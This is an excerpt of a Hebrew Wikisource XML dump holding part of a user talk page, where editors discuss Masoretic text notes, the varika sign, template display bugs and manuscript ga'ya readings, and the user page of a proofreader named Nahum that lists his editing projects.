::תודה רבה שוב! ראה בשינויים האחרונים בסדרים ובהערות הנוסח, בכולם יש תיקון כלשהו חוץ מ-#4. [[משתמש:Dovi|Dovi]] ([[שיחת משתמש:Dovi|שיחה]]) 22:50, 14 בפברואר 2026 (IST)
::מה שכתבתי אחר כך הוא לגבי טקסט שכנראה לא אמור להיות בגרסת ״דף אחד״ של הספרים שציינתי, איפה שציינתי. כלומר, בגרסת דף אחד של [[ספר ירמיהו/טעמים|ירמיהו]], מופיע בפרק יז פסוק כו (שיש שם את סימון הסדר ט*) את הטקסט ״{{נוסח|״ (חשבתי שכתבתי שזה הטקסט שנמצא שם כשכתבתי את התגובה), וכך גם לשאר המקומות. יצא שנתקלתי במקרים האלה בזמן שהשוואתי את הסדרים, ולא השוואתי בגרסת ״דף אחד״ של כל ספר בהתחלה, אז אני לא יודע אם יש עוד מקרים כאלה [[מיוחד:תרומות/&amp;#126;2026-98926-0|&amp;#126;2026-98926-0]] • [[שיחת משתמש:&amp;#126;2026-98926-0|שיחה]] 23:22, 14 בפברואר 2026 (IST)
:::אם אתה מסתכל בדף העריכה בדף של פרק, אז קוד כגון ״{{נוסח|״ הוא תחילת תבנית. התבנית הזאת מכילה הערת נוסח, כלומר הערה הבאה להסביר את קביעת הנוסח המופיע בספרים. לילה טוב. [[משתמש:Dovi|Dovi]] ([[שיחת משתמש:Dovi|שיחה]]) 23:27, 14 בפברואר 2026 (IST)
::::לא הסתכלתי בדף העריכה, הטקסט הזה הופיע כמו טקסט רגיל [[מיוחד:תרומות/&amp;#126;2026-98926-0|&amp;#126;2026-98926-0]] • [[שיחת משתמש:&amp;#126;2026-98926-0|שיחה]] 23:31, 14 בפברואר 2026 (IST)
תודה, עכשיו אני מבין. לגבי ירמיהו, יש שתי תקלות בקוד. את השנייה פתרתי עכשיו, אבל עוד לא הבנתי איך לפתור את הראשון. לגבי תהלים ודברי הימים, אין כאן טעות. הבעיה נובעת מהמגבלות שהאתר שם על גודל הדפים. כעת אי אפשר להציג את הספרים האלה במלואם, ובמקום זה רואים את הקישורים בסוף במקום את הטקסט הנכון. [[משתמש:Dovi|Dovi]] ([[שיחת משתמש:Dovi|שיחה]]) 11:36, 15 בפברואר 2026 (IST)

== סימן רָפֶה ==

בוודאי כבר התייחסת לכך, בשיחה, או ב[[ויקיטקסט:מבוא למקרא על פי המסורה]] אך לא מצאתי. 

למשל ב&quot;וּֽלְﬞהַבְדִּ֔יל&quot; - מה הצורך של הסימן מעל האות ל? או מעל האות רי&quot;ש מספר פעמים ב[[בראשית כז/טעמים]]?

ושאלה נוספת: למה [https://unicode-explorer.com/c/FB1E HEBREW POINT JUDEO-SPANISH VARIKA] ולא [https://unicode-explorer.com/c/05BF HEBREW POINT RAFE]?

תודה, [[משתמש:Ori229|&amp;#45;- אוֹרי]] ([[שיחת משתמש:Ori229|שיחה]]) 12:26, 4 במרץ 2026 (IST)

:זה נועד לסמן שוא נע, וזו גם הסיבה שהסימן שונה. ועיין [[וק:מבוא למקרא על פי המסורה/פרק ב#חטפים באותיות לא גרוניות|בפסקה הרלבנטית במבוא]] (בפרט בסופה). [[משתמש:הירש אייזנשטיין|הירש אייזנשטיין]] • [[שיחת משתמש: הירש אייזנשטיין|שיחה]] • ט&quot;ו באדר ה'תשפ&quot;ו • 12:30, 4 במרץ 2026 (IST)

::תודה [[משתמש:הירש אייזנשטיין|הירש]] על התשובה המהירה והנכונה. [[משתמש:Ori229|אוֹרי]], אולי נכון שתדע שיש גם רפה אמיתי במקומות שונים, ראה [[וק:מבוא למקרא על פי המסורה/פרק ב#סימן הרפה|כאן]]. [[משתמש:Dovi|Dovi]] ([[שיחת משתמש:Dovi|שיחה]]) 13:16, 4 במרץ 2026 (IST)

:::תודה לשניכם. הבנתי היטב את השימוש בסימן רפה. לגבי סימן וריקה - אני לא בטוח - תגידו לי אם אני מבין נכון:
לפי כללי הדקדוק הבסיסיים, &quot;חטף&quot; (חטף-פתח, חטף-סגול או חטף-קמץ) מופיע בדרך כלל באותיות גרוניות (א, ה, ח, ע) כדי לסייע בהגיית השווא. אולם, בכתבי יד עתיקים ומדויקים כמו כתר ארם צובה, מופיעים לעיתים חטפים גם באותיות רגילות.

'''הרב ברויאר''': החליט להפוך את כל החטפים הללו לשוואים רגילים. נימוקו: סימון החטף הוא רק &quot;מנהג&quot; להדגשת הקריאה ולא חובה הלכתית-מסורתית. הוא חשש שקורא מודרני יתבלבל ויחשוב שמדובר בתנועה רגילה.

'''מהדורת &quot;הכתר&quot;''': מתחו ביקורת על ברויאר. לטענתם, אם הכתר סימן חטף, עלינו להעתיק אותו בדיוק כפי שהוא, כי זו שיטת המסורה המקורית.

'''פשרה אצלינו''': כותבים שווא (כדי לא לבלבל את הקורא), אבל מוסיפים מעל האות את הסימן &quot;וריקה&quot;. כך הקורא יודע שבכתב היד המקורי היה שם חטף ושמדובר בשווא נע שיש להגות בבירור.

השימוש בסימן הוָרִיקָה מגיע מלאדינו. בדומה ליידיש שמשתמשת באותיות עבריות, גם הלאדינו נכתבה באותיות עבריות. כיוון שבספרדית יש צלילים שאינם קיימים בעברית המקראית, השתמשו בוריקה כסימן דיאקריטי (סימן הבחנה) כדי לשנות את הגיית האות. לדוגמה: בֿ (ב עם וריקה): נהגית כמו בית רפה.

השאלנו אצלינו את הוריקה מלאדינו כדי לסמן שוא נע. למה דוקא את הוריקה? כי הסימן דומה לסימן הרפה, וכך הקורא מבין שיש כאן הדגשה של &quot;תיקון קוראים&quot; לגבי ניקוד יוצא דופן. 

::אכן כך? תודה, [[משתמש:Ori229|&amp;#45;- אוֹרי]] ([[שיחת משתמש:Ori229|שיחה]]) 17:43, 4 במרץ 2026 (IST)

סיכום יפה [[משתמש:Ori229|אוֹרי]]. קצת הוספת דיוק: &quot;כך הקורא יודע שבכתב היד המקורי היה שם חטף '''כדי להורות על הנעת השווא''' שיש להגות בבירור... השאלנו אצלינו את הוריקה מלאדינו כדי לסמן שוא נע '''באותם מקומות שבכתבי־היד עושים את זה על־ידי כתיבת חטף'''.&quot; כדאי לדעת ש[[משתמש:Bdenckla|בן דנקלה]] מקדם את התהליך להוספת תווים ביוניקוד לשווא נע ודגש חזק. כשיהיה בעזר&quot;ה תו כזה לשווא נע, אז יהיה מקום לשקול את מחיקת ה&quot;וריקה&quot;, ואולי להשתמש בו לצורך אחר. [[משתמש:Dovi|Dovi]] ([[שיחת משתמש:Dovi|שיחה]]) 22:12, 4 במרץ 2026 (IST)

== בעיה במהדורת הכתיב והמנוקדת ==

ערב טוב, ב[[:קטגוריה:תהלים לח כא]] וב[[:קטגוריה:שיר השירים א ה]] לדוגמה יש שגיאה בתצוגה של מהדורת הכתיב ומהדורת הניקוד, שחלק מהתבניות מכניסות טקסט לתוך הפסוק. כלומר &quot;שחורה אני ונאוה בנות ירושלם ד=כאהלי קדר כיריעות שלמה.&quot;;&quot;וּמְשַׁלְּמֵי רָעָה תַּחַת טוֹבָה יִשְׂטְנוּנִי תַּחַת רדופי לגבי קמץ קטן בתיבה זו ראו ויינברג 3.2.1.3; במהדורת סימנים הדפיסו קמץ רחב וגעיה, ואילו בתנ&quot;ך קורן קמץ קטן עם מתג.&quot; כלומר כנראה( לא בדקתי בעוד מקומות) הקוד של מהדורת הניקוד ושל מהדורת הכתיב לא 'יודע' להתמודד עם התבנית של קמץ במחלוקת ושל הערות נוסח . [[משתמש:נשיא|נשיא]] ([[שיחת משתמש:נשיא|שיחה]]) 22:03, 5 במרץ 2026 (IST)
: מתייג את {{א|Ori229}}.-- [[משתמש:Nahum|Nahum]] ([[שיחת משתמש:Nahum|שיחה]]) 05:14, 6 במרץ 2026 (IST)
: מעתיק מן המזנון:
:::: אני מהמר שזה קרה בגלל ניתוק מערכתי מכוון של ג'אווסקריפט עקב בעיות אבטחה. המון דברים לא עובדים. [[משתמש:IKhitron|IKhitron]] ([[שיחת משתמש:IKhitron|שיחה]]) [[ויקיטקסט:מזנון#c-IKhitron-20260305192800-%D7%94%D7%99%D7%A8%D7%A9 %D7%90%D7%99%D7%99%D7%96%D7%A0%D7%A9%D7%98%D7%99%D7%99%D7%9F-20260305182000|21:28, 5 במרץ 2026 (UTC+2)]]
: [[משתמש:Nahum|Nahum]] ([[שיחת משתמש:Nahum|שיחה]]) 05:18, 6 במרץ 2026 (IST)
:::::באג בתכנית ההסבה שלי - אתקן. [[משתמש:Ori229|&amp;#45;- אוֹרי]] ([[שיחת משתמש:Ori229|שיחה]]) 08:17, 6 במרץ 2026 (IST)
:::::: הבעייה היא בכל המקרא, לא רק בתהילים או בשיר השירים. [[משתמש:Nahum|Nahum]] ([[שיחת משתמש:Nahum|שיחה]]) 09:21, 6 במרץ 2026 (IST)
::::::: אכן. תיקנתי את מהדורת הכתיב על ידי בוט בכל המקרא. במהדורה המנוקדת מצאתי בעיות רק במקומות בהם היה שימוש יוצא דופן בתבניות ותיקנתי ידנית.
::::::: נחום, אם אתה מוצא טעות עדיין בבקשה תגיד לי. תודה, [[משתמש:Ori229|&amp;#45;- אוֹרי]] ([[שיחת משתמש:Ori229|שיחה]]) 09:34, 6 במרץ 2026 (IST)
תודה רבה אורי וכולכם. שבת שלום ומבורך, [[משתמש:Dovi|Dovi]] ([[שיחת משתמש:Dovi|שיחה]]) 10:14, 6 במרץ 2026 (IST)

== המהדורה הדקדוקית \ רכיבים ==

שבוע טוב, מה שלומך?

במסגרת הצלת המידע מאתר OSHB, שכבר לא מתוחזק, רציתי לנער את ה&quot;מהדורה הדקדוקית&quot; אצלינו, שכמעט ולא היה בה מידע מועיל עד עתה.

בבקשה ראה את העדכון שעשיתי ל[[בראשית א/רכיבים]]. מה דעתך? בדף יש מידע גולמי כפי שהוא באתר המקורי, וכל התצוגה הוויזואלית ניתנת לשינויים בעתיד ב[[תבנית:דקדוק]].

תודה, אורי [[משתמש:Ori229|&amp;#45;- אוֹרי]] ([[שיחת משתמש:Ori229|שיחה]]) 01:04, 12 באפריל 2026 (IDT)

:איזה יופי אורי! זה יפה ושימושי!
:זה הרבה, הרבה יותר יעיל ממה שהיה קודם באזור &quot;רכיבים&quot; (עד כדי כך שקודם חשבתי שכדאי למחוק אותו). אבל החומר הזה - חשוב מאוד שיישאר אצלנו לשימוש, והוא גם מציל את המידע שנשאר שם ב-OSHB לפני שירד חלילה לטמיון.
:יפה שאפילו מצאת דרך אוטומטית להפוך את &quot;צורת יסוד&quot; לשימושי. אולי יש גם דרך לנצל את &quot;קוד מזהה מילה&quot; (לא הבנתי מה זה), ל&quot;מורפולוגיה&quot;, ול&quot;מבנה על פי הטעמים&quot; (אם הבנתי נכון האחרון מצביע על דרגתם של המפסיקים)? [[משתמש:Dovi|Dovi]] ([[שיחת משתמש:Dovi|שיחה]]) 12:31, 12 באפריל 2026 (IDT)

::תודה רבה על העידוד.
::קוד מזהה מילה (ID) - זה סתם קוד לכל מילה ומילה בתנ&quot;ך. לא מצאתי בינתיים מה לעשות עם זה.
::מורפולוגיה - זה מה שיוצר את עיקר המידע בתחילת החלונית הצצה.
::מבנה על פי הטעמים - בזה השתמשתי ביצירת [[בראשית א/תרשים טעמים]]. אין לזה צורך במהדורה הדיקדוקית. אפשר באמת להסיר.
::צורת היסוד - בינתיים הפנתי למילון בוויקיטקסט באננגלית, אבל אני שוקל אם להעתיק אותו אלינו - ר' [[משתמש:Ori229/ארגז חול/קונקורדנציה]] - מה דעתך? [[משתמש:Ori229|&amp;#45;- אוֹרי]] ([[שיחת משתמש:Ori229|שיחה]]) 17:20, 12 באפריל 2026 (IDT)
::: זה נראה לי דבר מדהים לעשות אם תמצא דרך לעשות את זה בלי יותר מדאי קושי. [[משתמש:Nahum|Nahum]] ([[שיחת משתמש:Nahum|שיחה]]) 18:10, 12 באפריל 2026 (IDT)
:::: בכיף - הנה: [[מילון הקונקורדנציה של סטרונג]].
::::יש לי גם את כל דפי פרקי התנ&quot;ך מוכנים לטעינה - בהמשך אעלה עם בוט. [[משתמש:Ori229|&amp;#45;- אוֹרי]] ([[שיחת משתמש:Ori229|שיחה]]) 22:27, 12 באפריל 2026 (IDT)
::::...סיימתי. [[משתמש:Ori229|&amp;#45;- אוֹרי]] ([[שיחת משתמש:Ori229|שיחה]]) 19:58, 13 באפריל 2026 (IDT)
:::::תודה רבה [[משתמש:Ori229|&amp;#45;- אוֹרי]]! [[משתמש:Dovi|Dovi]] ([[שיחת משתמש:Dovi|שיחה]]) 18:39, 14 באפריל 2026 (IDT)

== הערה על פרשה שאינה במסורת הרמב&quot;ם אך מצויה בכתבי היד ==

תן דעתך לנכתב ב־[[שיחה:שמות כו/הערות נוסח]].-- [[משתמש:Nahum|Nahum]] ([[שיחת משתמש:Nahum|שיחה]]) 12:50, 27 באפריל 2026 (IDT)

:תודה [[משתמש:Nahum|Nahum]]! [[משתמש:Dovi|Dovi]] ([[שיחת משתמש:Dovi|שיחה]]) 16:03, 27 באפריל 2026 (IDT)

== You may be an eligible candidate for the U4C election ==

&lt;div lang=&quot;en&quot; dir=&quot;ltr&quot; class=&quot;mw-content-ltr&quot;&gt;
Greetings,

The [[m:Special:MyLanguage/Universal_Code_of_Conduct/Coordinating_Committee|Universal Code of Conduct Coordinating Committee (U4C)]] seeks candidates for the 2026 election. The U4C is the global committee responsible for overseeing enforcement of the [[foundation:Special:MyLanguage/Policy:Universal Code of Conduct|Universal Code of Conduct]]. Elections are held annually, if elected a committee member serves for two years.

This year the U4C requires candidates to hold administrator rights on at least one wiki, which is why you are being contacted as you appear to hold this right. There are other requirements, such as candidates must be at least 18 years old and may not be employed by the Wikimedia Foundation or other related chapters and affiliates. You can find more information in the [[m:Special:MyLanguage/Universal_Code_of_Conduct/Coordinating_Committee/Election/2026#Call_for_Candidates|call for candidates on Meta-wiki]]. Additionally, the committee's working language is English; some ability to communicate in English is required.

The election opens on 18 May, if you are eligible and interested you have until 10 May to submit your candidacy. There will week between for candidates to answer questions from the community. Voting takes place privately in [[m:Special:MyLanguage/SecurePoll|SecurePoll]], successful candidates must receive at least 60% support. More information is available on [[m:Special:MyLanguage/Universal_Code_of_Conduct/Coordinating_Committee/Election/2026|the 2026 Elections page]], including timelines and other candidacy information. If you read over the material and consider yourself qualified, please consider submitting your name to run for the committee. If you think someone else in your community might be interested and qualified, please encourage them to run.

In partnership with the U4C -- [[m:User:Keegan (WMF)|Keegan (WMF)]] ([[m:User_talk:Keegan (WMF)|talk]]) 21:33, 28 באפריל 2026 (IDT) &lt;/div&gt;
&lt;!-- הודעה שנשלחה על־ידי User:Keegan (WMF)@metawiki באמצעות הרשימה בדף https://meta.wikimedia.org/w/index.php?title=User:Keegan_(WMF)/test&amp;oldid=30471754 --&gt;

== פרשת בהעלותך: ויעמד אתם סביבת האהל ==

שלום,
במהדורת מקרא על פי המסרה, יש געיה כבדה לא סדירה בתיבת וַֽיעמד. ראיתי שבמקראות גדולות הכתר אין. חיפשתי בהערות הנוסח ולא מצאתי התייחסות לכך. בדקתי ומצאתי שבכת״י ל יש כנראה געיה כבדה (הדיו קצת מטושטש, אבל קו הגעיה נראה די בבירור), אבל בשאר כתבי היד שבדקתי (שני כתבי יד ששון, ווטיקן 448) אין געיה זו. גם משמע כך בחילופי מישאל שכתב שהסכימו בתיבות והֽתיצבו שם, אם אֽת כל דגי הים (שניהם עם געיה כבדה שאינה סדירה) ולא מנה את &quot;ויעמד&quot;. [[משתמש:Shacoaz|Shacoaz]] ([[שיחת משתמש:Shacoaz|שיחה]]) 11:10, 5 ביוני 2026 (IDT)

:תודה רבה על ההערה. בדקתי עוד שורה של כתבי יד, וברוב המכריע אין געיה (רק עוד אחד חוץ מכתי&quot;ל). גם מדובר על תיבת משרת. אז אבצע את השינוי ואוסיף הערה.
:אגב שאלה: אתה בודק תמיד את כת&quot;י ותיקן 448. לא השתמשתי בכתב יד זה בעבר, חוץ מהמקרים שאתה הזכרת אותו. מה מייחד את כתב היד הזה, והופך אותו למקור חשוב בשביל געיות? [[משתמש:Dovi|Dovi]] ([[שיחת משתמש:Dovi|שיחה]]) 13:10, 7 ביוני 2026 (IDT)
::יש״כ.
::שתי תשובות לשאלתך: אני בודק תמיד את כת״י וטיקן 448 קודם כל משום שעבורי הוא נגיש, כי השתמשתי בו כדי לערוך לעצמי נוסח לתרגום אונקלוס, ולכן רשום לי בדיוק באיזה דף נמצא כל פסוק ואני מאתר בקלות. מלבד זאת, מהתרשמותי, הערות המסרה שלו במחלוקות ב״א וב״נ מתאימות כמעט תמיד לחילופי מישאל, ולכן בעיניי הוא מאד אמין בתחום הגעיות. [[משתמש:Shacoaz|Shacoaz]] ([[שיחת משתמש:Shacoaz|שיחה]]) 00:25, 8 ביוני 2026 (IDT)
:::תודה רבה! [[משתמש:Dovi|Dovi]] ([[שיחת משתמש:Dovi|שיחה]]) 18:33, 8 ביוני 2026 (IDT)

== ויעמדו פתח אהל מועד ==

בפרשת קרח ([[במדבר טז יח]]), בכת״י ל׳ וכאן הגעיה באות ו׳ וַֽיעמדו. בדקתי במק״ג הכתר ובמכון ממרא וראיתי ששם אין געיה כבדה באות ו׳, כצפוי (כי איון מבנה של געיה כבדה סדירה). לא התפניתי לבדוק בכתבי יד, אבל אני משער שכת״י ל הוא היחיד שהניח את הגעיה הכבדה. [[משתמש:Shacoaz|Shacoaz]] ([[שיחת משתמש:Shacoaz|שיחה]]) 10:01, 19 ביוני 2026 (IDT)

:תודה! לפי דותן וברויאר, הגעיה בכתי&quot;ל היא געיה קלה (ימנית) באות יו&quot;ד. [https://he.wikisource.org/w/index.php?title=%D7%91%D7%9E%D7%93%D7%91%D7%A8_%D7%98%D7%96/%D7%98%D7%A2%D7%9E%D7%99%D7%9D&amp;curid=236470&amp;diff=3020753&amp;oldid=2987719 ראה תיקון]. שבת שלום, [[משתמש:Dovi|Dovi]] ([[שיחת משתמש:Dovi|שיחה]]) 12:51, 19 ביוני 2026 (IDT)</text>
      <sha1>plnirujpqovbtv2noq38apr1hbthgbo</sha1>
    </revision>
  </page>
  <page>
    <title>משתמש:Nahum</title>
    <ns>2</ns>
    <id>1547</id>
    <revision>
      <id>3020661</id>
      <parentid>3016501</parentid>
      <timestamp>2026-06-18T16:24:52Z</timestamp>
      <contributor>
        <username>Nahum</username>
        <id>68</id>
      </contributor>
      <minor />
      <comment>/* הפרוייקטים המרכזיים שלי כרגע */</comment>
      <origin>3020661</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="17531" sha1="7eltftl5vc8g7jmyocd57joilfm8gdx" xml:space="preserve">שמי נחום ונגרוב, ואני בנם של [[w:אלחנן צ'ארלס ונגרוב|ר' אלחנן צבי (צ'רלס) ונגרוב]] וזוגתו רוזה שושנה (לבית ונגר) עליהם השלום, מתלמידיו של מו&quot;ר דודי הרב אפרים הלוי ארץ עליו השלום, ואחד מצעירי תלמידיו של מרן [[w:שלמה זלמן אויערבאך|הגרש&quot;ז אויערבאך]] זכרו לברכה בישיבת &quot;קול תורה&quot;. אני מעמד, מגיה ומתרגם במקצועי, מתמחה בניקוד, פיסוק וטעמי המקרא, ועובד בהוצאה לאור קטנה של ספרי קודש. משמש כבעל קורא מחליף לעיתים בשבתות וחגים במניין התפילה שבבית החולים הדסה הר הצופים. לפרטים נוספים אודותיי ראו [[w:משתמש:נחום|כאן]], [[w:משתמש:Nahum|כאן]] ו[http://stage.co.il/a/1104 בבמה חדשה]. 

&lt;div align=left&gt;{{קטן|ניתן לעקוב אחריי בפדיוורס: https://tooot.im/@NWengrov {{ש}}וכן ניתן לעקוב אחריי שם מחשבון בבלוסקיי באמצעות גשר.}}&lt;/div&gt;

{{תיבות משתמש|תיבות=
{{#babel:he|en-5|yi-1|tmr-3}} }}
{{משתמש תרומות|82,000}}
&lt;div dir=ltr&gt;
{{רווח קשיח|2}}Volunteering at he.wikisource since June 2005.&lt;br /&gt;
[http://meta.wikimedia.org/wiki/User:Nahum Link to my User Page on Meta]
&lt;/div&gt;
&lt;br /&gt;
{{תוכן עניינים ללא מיספור}}
{{סוף}}

==דפים במעקב:==

לשימוש בהצבעת מחיקה: {{תב|הצבעת מחיקה}}

==פרוייקטים שסיימתי בסייעתא דשמיא:==
*רשימת מיזמים ישנים הועברה ל[[משתמש:Nahum/ארכיון|ארכיון]]
*מיזמים חדשים:
# [[משנה]] מהדורת ניקוד (ועיצוב): סדרי זרעים, מועד, נשים, נזיקין וקדשים. מהד' ניקוד ללא עיצוב: סדרי זרעים, מועד
#[[רש&quot;י מנוקד על המקרא/ספר בראשית]], [[רש&quot;י מנוקד על המקרא/ספר שמות|שמות]], [[רש&quot;י מנוקד על המקרא/ספר ויקרא|ויקרא]], [[רש&quot;י מנוקד על המקרא/ספר במדבר|במדבר]] ו[[רש&quot;י מנוקד על המקרא/ספר דברים|דברים]], בשיתוף Dovi ואחרים
#[[רש&quot;י מנוקד על המקרא/ספר שיר השירים]], [[רש&quot;י מנוקד על המקרא/ספר רות|רות]], [[רש&quot;י מנוקד על המקרא/ספר איכה|איכה]] ו[[רש&quot;י מנוקד על המקרא/ספר קהלת|קהלת]], בשיתוף Dovi ובאדיבות מהד' מצודת אברהם ואתר ספאריה
#[[רש&quot;י מנוקד על המקרא/ספר יהושע]], באדיבות מהד' אתר ספאריה
#[[קבא דקשייתא]]
#טקסטים מולחנים בליליפונד:
## [[ויקיטקסט:טקסטים מולחנים]]
# [[יוסיפון/קינת יוסף/טעמים]]
# '''[[איכה רבה פתיחתא]]'''
# [[מנחת חינוך]] מצוות א-ב

==פרוייקטים בהשהייה, כשיתפנה לי זמן להתחיל לעבוד עליהם:==
# {{קטן|[[מפתח:הוולגאטה והפרשנות הנוצרית הקדומה לבראשית לאור פרשנות רשי, רשבם, רדק וחזקוני.pdf]]}}
## {{קטן|[[הוולגאטה והפרשנות הנוצרית הקדומה לבראשית לאור פרשנות רש&quot;י, רשב&quot;ם, רד&quot;ק וחזקוני]]}}

==תרגומים שלי מאנגלית==
#[[קובלא חאן]]
#{{ללא גלישה|[[סינדרלה, או נעל הזכוכית הקטנה]] מתוך [[ספר הפיות הכחול]]}}
#{{ללא גלישה|[[היפה והחיה]] מתוך [[ספר הפיות הכחול]]}}
#[[יסודות השחמט (קפבלנקה)]] -- בעבודה.
#[[זו]] (שיש לציית לה): [[עמוד:She - a history of adventure (IA cu31924098819562).pdf/69]] - בעבודה

==ספרי הספרייה הלאומית==
#{{ללא גלישה|[[מפתח:בממלכת כוזר היהודית.pdf]] - [[בממלכת כוזר היהודית]]}}
#[[מפתח:משא בערב.pdf]] - [[משא בערב]]

==פרוייקט החודש==

===ארכיון פרוייקטי החודש:===
'''ימי האהבה:''' [[ראשית חכמה/שער האהבה]]
*חודשי אלול-תשרי (עד יוהכ&quot;פ): [[ראשית חכמה/שער התשובה]]
*חודשי אלול-תשרי (עד סוף סוכות): [[מטה אפרים]] סימן תרי&quot;ט
*חודש כסלו: '''[[בני יששכר מאמרי חודש כסלו טבת/מאמר ד]]'''
*חודש אדר: '''[[יוסף תהלות]]''' על תהלים למרן '''[[מחבר:חיד&quot;א|החיד&quot;א]]''' עמ' 101
*חודש אדר: '''[[בני יששכר מאמרי חודש אדר/מאמר ה]]'''
*חודש ניסן: '''[[בני יששכר מאמרי חודש ניסן/מאמר ב]]'''
*חודש סיון: '''[[בני יששכר מאמרי חודש סיון/מאמר ב]]'''

===לתשעה באב:=== 
:'''[[לבוש אורח חיים תקנט]],''' הל' ת&quot;ב, עמ' 193
:'''[[תולדות מלחמת היהודים עם הרומאים/ספר ג/פרק ה]]''' הגהת הטקסט של פ. בן־יהודה מתחילת הפרק
:'''דקס [[ביאור:בבלי גיטין דף נז]],''' ע&quot;ב קט4

==הפרוייקטים המרכזיים שלי כרגע==
# '''משנה מנוקדת:''' [[משנה נגעים י ניקוד]]; [[משנה מנוקדת ללא עיצוב]]
# '''רש&quot;י מנוקד על נ&quot;ך''' (באדיבות אתר ספאריה)''':''' [[רש&quot;י מנוקד על המקרא/ספר יהושע|יהושע]] [[רש&quot;י מנוקד על המקרא/ספר שופטים|שופטים]]
# [[תרגום אונקלוס (דפוס)]] (להעתיק מ[[תרגום אונקלוס]] ולהגיה) בראשית פרק [[תרגום אונקלוס (דפוס)/ספר בראשית/טז|טז]] בס&quot;ד
# דק&quot;ס {{ק|[שינו&quot;ס מבוססים על פרוייקט &quot;הכי גרסינן&quot; של מכון פרידברג (וקצת מאתר &quot;מאגרים&quot; של האקדמיה), ובמס' ברכות מתמקדים בעיקר בכתי&quot;י '''מ'''ינכן, '''פ'''ריז, '''א'''וקספורד {{ק|(ספ.בודל. 366)}}, '''פיר'''נצה, ושאר כתי&quot;י ודפו&quot;י]}}:
## [[ביאור:בבלי ברכות דף יז]] {{ק|(סיימתי דקס על פרק ב והמשכתי עד סוף הדף, ואז עברתי ל-)}}גיטין. הגעתי בינתיים עד [[ביאור:בבלי גיטין דף יח|דף יח]] {{ק|כת&quot;י '''אר'''אס, '''מ'''ינכן, '''פיר'''קוביץ, '''ו'''תיקן 1, 2, ו-3, ו'''א'''וקספורד)}} 
# [[מנורת המאור (אלנקאווה)/מנוקד]]
# [[הלכות הרי&quot;ף כפשוטן]], מאת [[משתמש:Orvetov|יצחק הראל]]
#[[משתמש:Uziel302/מילים חשודות]], הגהה ע&quot;פ הרשימה
#[[זהר חדש]] סידור העמודים הבודדים. עד סוף חומש בראשית
#[[טעם לשד]]

==פרוייקטים נוספים שהתחלתי או שאני משתתף בהם:==

===מקרא ופרשנות:===
#[[ויבינו במקרא]]
#[[נחמיאש על משלי]] פרק ז, עמ' 58 (על משלי ז,א);
#[[משתמש:Inkbug/שד&quot;ל]]; [[שמואל דוד לוצאטו (שד&quot;ל) על בראשית]]
##[[מפתח:SD Luzzatto - Commentary on Bereshit.pdf]];
##[[מפתח:Luzzato-Ohev-Ger-HB23918.pdf]];
#[[התורה על פי סדרי הקריאה הארץ ישראלית]]

===הלכה:===
#[[ארבעה טורים]] עם מפרשים, בעיקר הגהת או.סי.אר, פתיחת ר&quot;ת, עיצוב ופיסוק לב&quot;י וד&quot;מ: [[טור אורח חיים קא]]
#[[שולחן ערוך]], ולאו&quot;ח עם נושאי כלים: באר הגולה, [[משנה ברורה]], [[ביאור הלכה]], מגן אברהם, [[ט&quot;ז]], [[ביאור הגר&quot;א]], [[כף החיים]], [[באר היטב]] ו[[שערי תשובה (מרגליות)|שערי תשובה]];
##[[מפתח:פרי מגדים אורח חיים .pdf]], [[פרי מגדים]]; נשלם סי' א; תכט-תל; רמב; רמח-רנב
##{{ללא גלישה|כרגע: בהג ל[[באר הגולה (רבקש) על אורח חיים לב|סימן לב]] בס&quot;ד; [[כף החיים/אורח חיים/נג]], עמ' 171 בקובץ}}; גר&quot;א ע&quot;פ ברכ&quot;א סי' ג סעי' יא, עמ' 20
#[[לבוש אורח חיים]] עמ' 53 עא; [[לבוש האורה]] עמ' 82;
#[[שולחן ערוך הרב]];
#[[תרומת הדשן]], הגהה ופיסוק עד סימן מ&quot;ג, עמ' 22 בקובץ;
#'''רי&quot;ף''' עם מפרשים, [[רי&quot;ף על הש&quot;ס/ברכות/דף יט עמוד ב]];
#[[מסכת סופרים (היגר)]]
#[[עולת שבת]] סי' רמו עמ' 3

===מוסר, חסידות, קבלה ופילוסופיה:===
#[[ראשית חכמה]], שעה&quot;א פ&quot;ד; שעהי&quot;ר, פי&quot;ג;
#[[בני יששכר]];
#[[תורה אור (חב&quot;ד)]], פ' שמות, עמ' 102;
#[[האמונות והדעות]] לרס&quot;ג;
#[[יסוד ושורש העבודה/ב]];
#[[מדרש האיתמרי]] עמ' 30;

===מדרש:===
# [[ילקוט שמעוני תורה קנז]];
#[[מדרש תנחומא הקדום/כרך א]] עמ' 442;
#[[ספרי על דברים]] לפי סדר החלוקה המקורי;

===תפילה:===
#'''הסליחות לכל השנה''' - [[מפתח:The Seliḥot for the Entire Year.pdf|מפתח]] - [[הסליחות לכל השנה - זליגמן בער|הספר המסודר]], מאת זליגמן בר
#[[סידור בית יעקב (עמדין)]]
#[[סידור תורה אור]];
##[[מפתח:Siddur Torah Ohr (Schulzinger Bros. 1940).pdf]]

===שונות:===
#[[תפארת ישראל על המשנה/יבקש דעת]];
#[[ספר המצוות רמב&quot;ן שרשים]] עריכת שורש ב, תחילת עמ' 22 בקובץ;
#[[תפארת האדם]] - מאת הרב אלכסנדר סנדר גדליהו טכורש ז&quot;ל, עמ' 32 בקובץ

===ספרות חול:===
#[[מקור ברוך (אוטוביוגרפיה)]], עד סוף עמ' 5 בקובץ 1130;
#[[זכרונות לבית דוד]] (עבודה אופליין), &quot;הענק&quot;
#[[חנוך ב]], פי&quot;א

===ספרי רש&quot;ר הירש:===
#[[אגרות צפון]],
##[[מפתח:Samson Raphael Hirsch. Igrot tsafon.he.pdf]];
#[[חורב]],
##[[מפתח:Samson Raphael Hirsch. Sefer Horev. Haedot Vehatorot. 1892.pdf|ספר חורב (תרגום: משה זלמן אהרנזון). חלק א. מאמר למען דעת]].
##[[מפתח:Samson Raphael Hirsch. Sefer Horev. Haedot. 1893.pdf|ספר חורב (תרגום: משה זלמן אהרנזון). חלק א. מערכת העדות]]
##[[מפתח:Samson Raphael Hirsch. Sefer Horev. Hatorot. 1893.pdf|ספר חורב (תרגום: משה זלמן אהרנזון). חלק א. מערכת התורות]]
##[[מפתח:Samson Raphael Hirsch. Sefer Horev. 1895.pdf|ספר חורב (תרגום: משה זלמן אהרנזון). חלק ב]]
#[[עונג שבת]]

==מחברים שיצירתם תהיה חופשית==
* [[מנורת המאור (אלנקאווה)]], מהדורת [[:en:w:Hyman G. Enelow]], נפטר 1934, יצירה חופשית
*[[מחבר:אלישבע ביחובסקי]], יצירה חופשית
